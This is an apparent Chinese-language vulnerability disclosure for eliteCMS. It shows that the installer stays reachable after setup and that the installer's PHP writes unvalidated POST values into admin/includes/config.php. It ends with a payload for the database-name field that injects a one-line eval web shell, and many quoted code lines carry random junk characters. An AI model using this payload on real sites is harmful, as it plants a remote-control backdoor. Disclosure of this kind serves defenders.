eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

1 z8 j/ _( f, y+ ?# o: o9 L1 ^# C* \另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：
* T6 @& M3 b, G! P8 {6 X' K
...
  U* v4 |6 a9 }( U5 }elseif ($_GET['step'] == "4") {
6 F" D4 r& l. w1 P- }$ ~3 u+ f3 f    $file = "../admin/includes/config.php";
    $write = "<?php\n";
    $write .= "/**\n";
4 G! \9 y. l! r/ M' s2 U# C& J    $write .= "*\n";
% k7 f- u) L. t1 i% j* g" S3 l    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
    $write .= "*\n";
+ L& T- N2 [+ N# G$ ?+ M    $write .= "*/\n";
    $write .= "\n";
5 E) [) v- h5 C2 S    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
( g2 |2 H9 ~% a9 U. h  D5 U9 B; J    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
( r; E( R4 F+ j4 A7 U) d  F    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
" Y- k; b+ Q/ i4 [6 P    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
8 Q$ o+ D4 L$ M+ X, H- ^1 O    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
# A" L4 Z: i2 Y) G    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
5 x. Z, ~: ^5 ~% E) H3 |    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
; h0 X, H6 b% q- p% \    $write .= "} \n";
    $write .= "?>\n";
5 D# z- v8 t# T+ ~& I2 t1 f
    $writer = fopen($file, 'w');
...

在看代码：
% A* E: I& ^7 e! t' l/ P
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
/ L2 Z9 ~2 f) s! g% i2 G$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
% o5 c  S9 [! B$ J$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
( i4 a; j6 P0 |9 h8 h
取值未作任何验证
- n+ v1 \: Z- y2 p. o$ e# ]& x如果将数据库名POST数据：

. P1 r" P$ ?. R) ]% [7 M"?><?php eval($_POST[c]);?><?php

将导致一句话后门写入/admin/includes/config.php